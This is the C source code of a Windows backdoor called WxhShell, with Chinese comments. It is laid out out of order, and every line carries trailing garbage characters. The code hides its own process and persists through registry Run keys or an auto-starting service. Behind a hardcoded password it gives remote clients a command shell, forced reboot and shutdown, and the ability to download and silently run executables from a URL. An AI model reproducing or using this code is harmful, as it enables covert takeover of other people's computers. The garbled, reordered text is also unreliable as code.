    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ud'r ?QDM  
    if(Boot(SHUTDOWN)) f/*Xw{s#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _D$|lk-  
    else { Ga.a"\F.V  
    closesocket(wsh); 9N5 &N3  
    ExitThread(0); !j%vUe;t  
    } @,i:fY  
    break; MHI0>QsI  
    } mAk)9`f/  
  // 获取shell V. =!^0'A  
  case 's': { A$;U*7TJuO  
    CmdShell(wsh); xo6-Y=c8  
    closesocket(wsh); k~`pV/6  
    ExitThread(0); `L]cJ0tAs  
    break; B3c rms['  
  } Cbx/  
  // 退出 *S:^3{.m=  
  case 'x': { ;pBSGr 9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &P&M6v+  
    CloseIt(wsh); Zh{Pzyp  
    break; yJppPIW^  
    } dE.R$SM  
  // 离开 flVQG@  
  case 'q': { < :<E~anH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9Fv1D  
    closesocket(wsh); XBF#ILJ  
    WSACleanup(); owmV7E1  
    exit(1); ] 8+!  
    break; 2?z3s|+[  
        } L'H'E,  
  } 52C>f6w  
  } `rbTB3?  
C6M|A3^T  
  // 提示信息 crz )F"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i"0^Gr  
} % E3  
  } Owo2DsT t  
t*NZ@)>  
  return; w;&J._J  
} }NMA($@A  
DJS0;!# |O  
// shell模块句柄 A'c0zWV2  
int CmdShell(SOCKET sock) Kxn/@@z>u  
{ |b QKymS  
STARTUPINFO si; O B_g:T  
ZeroMemory(&si,sizeof(si)); Xg^`fRg =T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UP58Cln*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; X#Y0g`muW  
PROCESS_INFORMATION ProcessInfo; 8uP,#D<wZ  
char cmdline[]="cmd"; GXr9J rs.e  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K#%L6=t$<  
  return 0; :p;!\4)u  
} Ew*_@hVC  
<ZSH1~<{6  
// 自身启动模式 V\W?@V9g-  
int StartFromService(void) x{*g^f  
{ d/v{I  
typedef struct SGXXv  
{ f<=<:+  
  DWORD ExitStatus; S*Qip,u  
  DWORD PebBaseAddress; A0m  
  DWORD AffinityMask; :"5i/Cx  
  DWORD BasePriority; n!2"pRIi  
  ULONG UniqueProcessId; 3%bCv_6B  
  ULONG InheritedFromUniqueProcessId; )M<"YI)g  
}   PROCESS_BASIC_INFORMATION; -+Axa[,5=  
g j8rrd |  
PROCNTQSIP NtQueryInformationProcess; yH|[K=?S[  
({v$!AAv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; P(l$5x]g,  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B5GT^DaT  
JF!JY( U,  
  HANDLE             hProcess; Ew5(U`]  
  PROCESS_BASIC_INFORMATION pbi; j1Fy'os"!  
b|^g51v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); umaF}}-Q{  
  if(NULL == hInst ) return 0; Dq/_^a/1  
)a AKO`  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -*~ = 4m<  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Dt%G v0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \T `InBbf  
|_"JyGR2  
  if (!NtQueryInformationProcess) return 0; >v7fR<(%s  
5^<X:1J$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EiQX* v  
  if(!hProcess) return 0; 9utiev~3  
4nK\gXz19  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {;4Y5kj  
)e(Rf!P{  
  CloseHandle(hProcess); UbNA|`H  
9^6E> S{=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QkS~~|0EI>  
if(hProcess==NULL) return 0; &_Ze@Ir-  
*1"xvle  
HMODULE hMod; ZJ}9g(X..g  
char procName[255]; S96H`kedZo  
unsigned long cbNeeded; x' >Nz{B,P  
a"SH_+T{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xP#vAR  
m5m}RWZ#  
  CloseHandle(hProcess); )hs"P%Zg  
;\ ^'}S|3Z  
if(strstr(procName,"services")) return 1; // 以服务启动 Dk8 O*B   
W; yNg  
  return 0; // 注册表启动 "O{j}QwY  
} rH*1bDL  
=lT~  
// 主模块 HK&Ul=^VN|  
int StartWxhshell(LPSTR lpCmdLine) .B?6  
{ 3 <}\{jT  
  SOCKET wsl; GKT2x '(e  
BOOL val=TRUE; Fa<>2KkOr  
  int port=0; W!vN (1:(  
  struct sockaddr_in door; wNo2$>*  
Q6blX6DWU  
  if(wscfg.ws_autoins) Install(); (3cJ8o>&  
hgIqr^N9  
port=atoi(lpCmdLine); H'KCIqo  
P 4Vi~zMX  
if(port<=0) port=wscfg.ws_port; <7'`N\a  
wJyrF  
  WSADATA data; tpu2e*n-|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; URU,&gy=  
0U|t@&q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Hdvtgss!  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HYcLXhvgu  
  door.sin_family = AF_INET; G>Fk )  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \WS2g"(  
  door.sin_port = htons(port); }L mhM  
ffoL]u\  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <A|X4;  
closesocket(wsl); YnM&t ;TX  
return 1; w-iu/|}  
} X$*MxMNs  
Pq\ `0/4_  
  if(listen(wsl,2) == INVALID_SOCKET) { kY>jp@w V  
closesocket(wsl);  N>ncv  
return 1; w>#{Nl7gz  
} ]oT8H?%*Y  
  Wxhshell(wsl); ;f;A"  
  WSACleanup(); F1_s%&  
w O H{L  
return 0; 0s9-`nHen|  
o>|&k]W/  
} g)?Ol  
D5Zgi!  
// 以NT服务方式启动 o\/&05rp]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  NOY`1i  
{ k=]#)A(#C  
DWORD   status = 0; "PgVvm#w'  
  DWORD   specificError = 0xfffffff; MB7UI8  
~6{iQZa1Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Fl0(n #L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; z<_&4)2{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; L hp  
  serviceStatus.dwWin32ExitCode     = 0; ~[8n+p+&X  
  serviceStatus.dwServiceSpecificExitCode = 0; u<L<o 2  
  serviceStatus.dwCheckPoint       = 0; k1lo{jw`  
  serviceStatus.dwWaitHint       = 0; CdBpz/  
jY;T:C-T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ATQw=w 3W  
  if (hServiceStatusHandle==0) return; m:}PVJ-"  
v~8Cp C  
status = GetLastError(); 6jw9p+.  
  if (status!=NO_ERROR) .7 K)'  
{ 5)5$h]Nz>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @h&:xA56  
    serviceStatus.dwCheckPoint       = 0; Ky0}phGRu  
    serviceStatus.dwWaitHint       = 0; Yg /g9$'  
    serviceStatus.dwWin32ExitCode     = status; `~w|Xz  
    serviceStatus.dwServiceSpecificExitCode = specificError; C/$bgK[ev  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n;@.eC,T/  
    return; Z8Iqgz7|y  
  } FR9w0{o  
noNJ+0S  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]OSq}ul  
  serviceStatus.dwCheckPoint       = 0; i:a*6b.U@N  
  serviceStatus.dwWaitHint       = 0; zG0]!A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zRU9Q 2Y  
} ^h$^j  
XE>w&  
// 处理NT服务事件,比如:启动、停止 MzFFWk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) YpOcLxFL  
{ iQJa6QF&:  
switch(fdwControl) $:?Dyu(Il  
{ t$Bu<frQ  
case SERVICE_CONTROL_STOP: .FN;3HU  
  serviceStatus.dwWin32ExitCode = 0; oVTXn=cYDp  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;A G&QdTMh  
  serviceStatus.dwCheckPoint   = 0; J$W4AT  
  serviceStatus.dwWaitHint     = 0; o)bKs>` U  
  { kwXUjn p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _1?nLx7n  
  } Dm@h'*  
  return; S:K$fFcJ  
case SERVICE_CONTROL_PAUSE: y>#_LhTX-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; x?UAj8z6  
  break; EI9;J-c  
case SERVICE_CONTROL_CONTINUE: "38L ,PW0Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  0ij YE  
  break; p,V%wGM  
case SERVICE_CONTROL_INTERROGATE: }S$OE))u  
  break; z~-(nyaBS  
}; zs(P2$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bv;. 6C(T<  
} v.- r %j{I  
d8uDSy  
// 标准应用程序主函数 ]K3bDU~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .kU}x3m  
{ U(PW$\l  
oTRid G  
// 获取操作系统版本 A0>r]<y  
OsIsNt=GetOsVer(); i&1rf|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c1q;  
Gshy$'_e  
  // 从命令行安装 EJP]E)  
  if(strpbrk(lpCmdLine,"iI")) Install(); '6kD6o_p1  
E/hT/BOPK  
  // 下载执行文件 cij8'( "+!  
if(wscfg.ws_downexe) { oiIl\#C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Kx?.g#>U;  
  WinExec(wscfg.ws_filenam,SW_HIDE); *;(^)Sj4Q  
} }= wor~  
=:Yrb2gP_\  
if(!OsIsNt) { FWB *=.A9  
// 如果时win9x,隐藏进程并且设置为注册表启动 52 *ii  
HideProc(); lUaJC'~p  
StartWxhshell(lpCmdLine); 33 S CHQ  
} cV"Ov@_.k  
else 3GNcnb  
  if(StartFromService()) z9:yt5ar  
  // 以服务方式启动 (&1.!R[X  
  StartServiceCtrlDispatcher(DispatchTable); L|Xg4Z  
else hH9~.4+*`g  
  // 普通方式启动 eZ$M#I=o  
  StartWxhshell(lpCmdLine); Sgr. V)  
`rXb:P7m{j  
return 0; t 9t '9  
} #1C]ZV] B  
:.tL~% q  
Qcks:|5  
Y]_$+Si:NK  
=========================================== 1{5t.  
) "?eug}D  
aM xd"cTzx  
?K;l 5$?%  
LXWI'nxV  
Z)IF3{*  
" D)bL;h  
xFekSH7[F  
#include <stdio.h> (c&%1bJ  
#include <string.h> IBvn q8\  
#include <windows.h> e/_QS}OA  
#include <winsock2.h> ZqdoYU'  
#include <winsvc.h> s_}6#;  
#include <urlmon.h> ZPY&q&R  
: 5['V#(o  
#pragma comment (lib, "Ws2_32.lib") u;]xAr1  
#pragma comment (lib, "urlmon.lib") `a:3S@n(}  
]=%6n@z'  
#define MAX_USER   100 // 最大客户端连接数 Fw*O ciC  
#define BUF_SOCK   200 // sock buffer 2y \ogF  
#define KEY_BUFF   255 // 输入 buffer zRa2iCi  
ar\ K8mj  
#define REBOOT     0   // 重启 Mvue>)g~>  
#define SHUTDOWN   1   // 关机 @e&0Wk  
}zS5o [OE  
#define DEF_PORT   5000 // 监听端口 ,v 2^Ui  
%.D!J",\/K  
#define REG_LEN     16   // 注册表键长度 /D1Lh_,2  
#define SVC_LEN     80   // NT服务名长度  sa&`CEa  
O_ZYm{T[7  
// 从dll定义API : 8j7}'  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p!8phS#iP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3z, Ci$[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $qr6LIKGw  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ZjMnGRP  
|` ?&  
// wxhshell配置信息 %$kd`Rl}  
struct WSCFG { }vh4ix  
  int ws_port;         // 监听端口 9gdK&/ulR  
  char ws_passstr[REG_LEN]; // 口令 (X Oz0.W  
  int ws_autoins;       // 安装标记, 1=yes 0=no UlXxG|  
  char ws_regname[REG_LEN]; // 注册表键名 f1v4h[)-  
  char ws_svcname[REG_LEN]; // 服务名 UPP"-`t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #qmsZHd}b  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 SE43C %hv  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "/RMIS K[;  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~b m'i%$k  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TTFs|T6`q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~".@;Q  
Zhv%mUj~  
}; VH~YwO!x  
:F@Uq<~(  
// default Wxhshell configuration "&/2 @  
struct WSCFG wscfg={DEF_PORT, g`Cv[Pq?at  
    "xuhuanlingzhe", 4xq|  
    1, \y:48zd  
    "Wxhshell", "oNl!<ep  
    "Wxhshell", UKZ )Boo  
            "WxhShell Service", z6l'v~\  
    "Wrsky Windows CmdShell Service", 8PH4v\tJEK  
    "Please Input Your Password: ", ;Vc|3  
  1, In?#?:Q@&  
  "http://www.wrsky.com/wxhshell.exe", pqb`g@  
  "Wxhshell.exe" |,5|ZpgL  
    }; $H[q5(_~  
v*qbzW`  
// 消息定义模块 -aVC`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZZZ9C#hK^9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b=xn(HE8|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $ ,]U~7S  
char *msg_ws_ext="\n\rExit."; ~Gz9pBv1  
char *msg_ws_end="\n\rQuit."; e3W~6P  
char *msg_ws_boot="\n\rReboot..."; &Jb\}c}  
char *msg_ws_poff="\n\rShutdown..."; dr}PjwW%  
char *msg_ws_down="\n\rSave to "; PZJ9f8 V  
IQ_s]b;z  
char *msg_ws_err="\n\rErr!"; );VuZsmi  
char *msg_ws_ok="\n\rOK!"; T]Ai{@i  
_K!.TM+9  
char ExeFile[MAX_PATH]; S4 Uu/EX6S  
int nUser = 0; Dol{y=(3e  
HANDLE handles[MAX_USER]; DBB&6~;?  
int OsIsNt; fglfnx0{  
E/a2b(,Tg  
SERVICE_STATUS       serviceStatus; pc0{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Y1I)w^}:  
\.O&-oi  
// 函数声明 Wh| T3&  
int Install(void); /z4c>)fV  
int Uninstall(void); Y8]@y0(  
int DownloadFile(char *sURL, SOCKET wsh); dd<l;4(  
int Boot(int flag); z)U7  
void HideProc(void); qD ?`Yd  
int GetOsVer(void); .kg 3>*  
int Wxhshell(SOCKET wsl); &e:+;7  
void TalkWithClient(void *cs); abT,"a\h  
int CmdShell(SOCKET sock); B+U:=591  
int StartFromService(void); WEe7\bWF  
int StartWxhshell(LPSTR lpCmdLine); 4F G0'J&hw  
o.A:29KoU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [bP^RY:  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eBnx$  
tx>7?e8E  
// 数据结构和表定义 E5)0YYjHZ  
SERVICE_TABLE_ENTRY DispatchTable[] = < A8>To<  
{ gee~>l  
{wscfg.ws_svcname, NTServiceMain}, [V:~j1{3  
{NULL, NULL} QwWd"Of  
}; p? o[+L<  
k:run2K  
// 自我安装 l;@+=uVDHm  
int Install(void) mu@J$\   
{ F[Mwd &P@  
  char svExeFile[MAX_PATH]; fxPg"R!1i  
  HKEY key; gAdqZJR%]  
  strcpy(svExeFile,ExeFile); 0jlM~H  
n.2:fk  
// 如果是win9x系统,修改注册表设为自启动 j\~,Gtn>Z  
if(!OsIsNt) { +71<B>L   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \8QOZjy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ./k7""4   
  RegCloseKey(key); _8u TK%|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5kTs7zJ^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y06^M?}  
  RegCloseKey(key); {@)ZXg  
  return 0; 4 O8ct,Y  
    } h Fv{?v  
  } oH%[8!#  
} I{g.V|+ x  
else { w=WF$)ZU  
'Tjvq%ks   
// 如果是NT以上系统,安装为系统服务 Ld}?daPj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sb{K%xi%  
if (schSCManager!=0) zG6l8%q'UE  
{ zvdut ,6<  
  SC_HANDLE schService = CreateService "4\  
  ( 3< ?+Yhq  
  schSCManager, W<pr Y  
  wscfg.ws_svcname, 8(\}\4G_  
  wscfg.ws_svcdisp, s<F*kLib  
  SERVICE_ALL_ACCESS, (b f IS  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , gPMfn:a-8  
  SERVICE_AUTO_START, bp:`m>4<  
  SERVICE_ERROR_NORMAL, Mww^  
  svExeFile, y'!OA+ob  
  NULL, n>q!m@ }<  
  NULL, %T]^,y$n  
  NULL, K9k!P8Rd  
  NULL, [A84R04_%  
  NULL n >y,{"J{  
  ); [cd1Mf:[Y  
  if (schService!=0) +mVAmG@  
  { ~?ezd0  
  CloseServiceHandle(schService); l5Bm.H_  
  CloseServiceHandle(schSCManager); PO"lY'W.U  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Cj8&wz}ez  
  strcat(svExeFile,wscfg.ws_svcname); C(G.yd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p!YK~cH[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); apk,\L@sZ  
  RegCloseKey(key); T(*,nJi~9  
  return 0; 1 6zxPSTr}  
    } BeVDTk :  
  } fasW b&~z  
  CloseServiceHandle(schSCManager); +112{v=!i  
} |z=`Ur@)  
} JFm@jc  
c}qpmWF  
return 1; V'XEz;Ze  
} ?^%[*OCCC!  
"frZ%mv  
// 自我卸载 x'`{#bKD  
int Uninstall(void) gE2(E0H  
{ cWkg.ri-x  
  HKEY key; 1WMZ$vsQUb  
'OtT q8G  
if(!OsIsNt) { xO )c23Z)]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4<#ItQ(  
  RegDeleteValue(key,wscfg.ws_regname); 7 <^+)DsS?  
  RegCloseKey(key); 2 L4[~>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]H n:c'aT  
  RegDeleteValue(key,wscfg.ws_regname); DPzW,aIgv  
  RegCloseKey(key); dRron_'  
  return 0; ZxnPSA@%  
  } >+dS PI  
} et 1HbX  
} kBR=a%kG  
else { EE  1D>I  
=IMmtOvJ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _h-agn4[i  
if (schSCManager!=0) 3<r7"/5  
{ ,IPt4EH$  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `Ow]@flLI  
  if (schService!=0) VAL? Z  
  {  ydzsJ+dx  
  if(DeleteService(schService)!=0) { F6q=W#~  
  CloseServiceHandle(schService); VxN#\D i&  
  CloseServiceHandle(schSCManager); as:l1S   
  return 0; &}p\&4  
  } KY  
  CloseServiceHandle(schService); k _V+;&:%  
  } D", L.  
  CloseServiceHandle(schSCManager); ]2@(^x'=  
} ,H7_eVLWR  
} ^@V*:n^  
1$T`j2s  
return 1; !.j{vvQ/  
} lm4A%4-db  
'r!!W0-K  
// 从指定url下载文件 W/2y; @  
int DownloadFile(char *sURL, SOCKET wsh) %"H:z  
{ FFw(`[A_  
  HRESULT hr; +yO) 3  
char seps[]= "/"; Wa^Wn +r  
char *token; kC.dJ2^j+  
char *file; mw5>[  
char myURL[MAX_PATH]; W]D YfR,  
char myFILE[MAX_PATH]; ^&YtZjV  
K:U=Y$x  
strcpy(myURL,sURL); b;QgL_w  
  token=strtok(myURL,seps); 8`*5[ L~~/  
  while(token!=NULL) oT{9P?K8  
  { u* pQVU  
    file=token; eQ[akVMk  
  token=strtok(NULL,seps); lu{ *]!  
  } 0BC @wV  
oYw?kxRZ  
GetCurrentDirectory(MAX_PATH,myFILE); R1LirZlzJ  
strcat(myFILE, "\\"); )jL@GW  
strcat(myFILE, file); 0OHXg=  
  send(wsh,myFILE,strlen(myFILE),0); jo"nK,r  
send(wsh,"...",3,0); $=plAi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3~P$p<  
  if(hr==S_OK) g&g:H H :  
return 0; RDbNC v#  
else _E?tVx.6  
return 1; */K[B(G  
%_E5B6xi{  
} 66?`7j X  
ELwXp|L  
// 系统电源模块 _K#7#qp2  
int Boot(int flag) (>0`e8v!  
{ KcV"<9rE  
  HANDLE hToken; z#Jw?K_  
  TOKEN_PRIVILEGES tkp; l5w^rj  
|2^m CL.r  
  if(OsIsNt) { oqwW  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !6|_`l>G,  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j4i$2ZT'  
    tkp.PrivilegeCount = 1; K;"H$0 !9  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; WDY\Fj   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k H65k (  
if(flag==REBOOT) { p_Xfj2E4c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) bnfeZR1m_  
  return 0; X{#^O/  
} q,fp DNo  
else { HCOsVTl,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =~O3j:<6  
  return 0; n/;{-  
} 7{U[cG+a#  
  } 4}N+o+  
  else { &pI\VIx ?  
if(flag==REBOOT) { 9mvy+XD  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jW#dUKS(  
  return 0; uO1^Q;F  
} Tr;.%/4Q  
else { "-S!^h/v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M %zf?>])  
  return 0; +iN!$zF5]  
} x}a?B  
} )b nGZ8h99  
\Nik`v*Pd  
return 1; eM$a~4!d  
} vh Oh3  
E~q3o*  
// win9x进程隐藏模块 eJqx,W5MK]  
void HideProc(void) yzfiH4  
{ %u%;L+0Q[  
ypM,i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Aa1#Ew<r  
  if ( hKernel != NULL ) 9Y2u/|!.3  
  { ; ]% fFcy  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9*iVv)jd  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1N _"Mm{  
    FreeLibrary(hKernel); .n IGs'P  
  } Q']'KU.  
E7h@c>IK  
return; 7V=deYt_p  
} h(q4 B~  
lg-`zV3  
// 获取操作系统版本 (1S9+H>g  
int GetOsVer(void) =4q5KI  
{ L`M{bRl+1  
  OSVERSIONINFO winfo; !(bYh`Uy  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); W9gQho%9b  
  GetVersionEx(&winfo); }k AE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) C,;<SV2#  
  return 1;  @B{  
  else bL<H$DB6  
  return 0; 5Zc  
} 8Ie0L3d-  
:D}?H@(69  
// 客户端句柄模块 mKM[[l&A  
int Wxhshell(SOCKET wsl) b^i$2$9_  
{ 2FL_!;p;2E  
  SOCKET wsh; TS=%iMa  
  struct sockaddr_in client; zk70D_}L  
  DWORD myID; vyc<RjS_x  
\W_ Dz*N  
  while(nUser<MAX_USER) ++w{)Io Z  
{ ~+ae68{p  
  int nSize=sizeof(client); aU +uPP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \zVp8MMf  
  if(wsh==INVALID_SOCKET) return 1; eiOAbO#U  
6/QWzw.0c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); hDJ+Rk@  
if(handles[nUser]==0) m q<:^  
  closesocket(wsh); ,f>^ q"  
else  b%F'Ou~  
  nUser++; fm^tU0DY  
  } n}%_H4t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); x2~fc  
G|?V}pZ  
  return 0; 'lC=k7@x  
} ( K-7z  
o}36bi{  
// 关闭 socket z 4. |N  
void CloseIt(SOCKET wsh) 8oHIXnK  
{ E]{0lG`l  
closesocket(wsh); y54RD/`-  
nUser--; oM n'{+(w  
ExitThread(0); 8f?o?c|  
} ~Gg19x.#uW  
Rp zuSh  
// 客户端请求句柄 6EWCJ%_  
void TalkWithClient(void *cs) 9 [E/^  
{ WFug-#;e  
V!e`P  
  SOCKET wsh=(SOCKET)cs; DS|x*w'I  
  char pwd[SVC_LEN]; ieEt C,U  
  char cmd[KEY_BUFF]; ENYc.$ r  
char chr[1]; w0>5#j q#r  
int i,j; AnsJ3C  
6(Cjak+~!  
  while (nUser < MAX_USER) { f b8xs<  
K/(Z\lL  
if(wscfg.ws_passstr) { T/L\|_:'  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^y&2N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kYS\TMt,C  
  //ZeroMemory(pwd,KEY_BUFF); u8~5e  
      i=0; l9 rN!Q|  
  while(i<SVC_LEN) { BhyLcUBuB  
Pw Amnk !  
  // 设置超时 a<pEVV\NB~  
  fd_set FdRead; A[88IMZs  
  struct timeval TimeOut; GO#eI]>/r  
  FD_ZERO(&FdRead); w `M/0.)V  
  FD_SET(wsh,&FdRead); ,;= S\  
  TimeOut.tv_sec=8; iQh:y:Jo1&  
  TimeOut.tv_usec=0; p{V(! v|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y^?PHz'Go  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); R'1"`@f G  
^> d"D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Zg])uM]\2i  
  pwd=chr[0]; Q|Pm8{8  
  if(chr[0]==0xd || chr[0]==0xa) { dI,H:g  
  pwd=0; G~lnX^46"  
  break; (yeN> x}_  
  } G#^6H]`[J:  
  i++; H#`&!p  
    } ~bjT,i  
\y/0)NL\  
  // 如果是非法用户,关闭 socket U%2{PbL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xl,?Hh%#  
} ^F"eHUg  
6:TA8w|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p_sqw~)^%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^\PNjj*C i  
`? f sU  
while(1) { TsRbIq[  
w4&-9[@Y  
  ZeroMemory(cmd,KEY_BUFF); YH[HJ#:7r  
wlX K2D  
      // 自动支持客户端 telnet标准   ` \-m qe  
  j=0; 28,HZaXhc  
  while(j<KEY_BUFF) { 6;\Tps;A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hcD.-(-;)  
  cmd[j]=chr[0]; iEBxBsz_  
  if(chr[0]==0xa || chr[0]==0xd) { fVBu?<=d  
  cmd[j]=0; 6[1lK8o  
  break; 0Szt^l7  
  } -F-,Gcos  
  j++; k:E+]5  
    } Bk4|ik}  
FwSV \N+#'  
  // 下载文件 QtqE&j  
  if(strstr(cmd,"http://")) {  2Y9@[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gG6BEsGa,  
  if(DownloadFile(cmd,wsh)) BG@[m  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]FO)U  
  else xHwcP21  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A `=.F  
  } Yh;A  
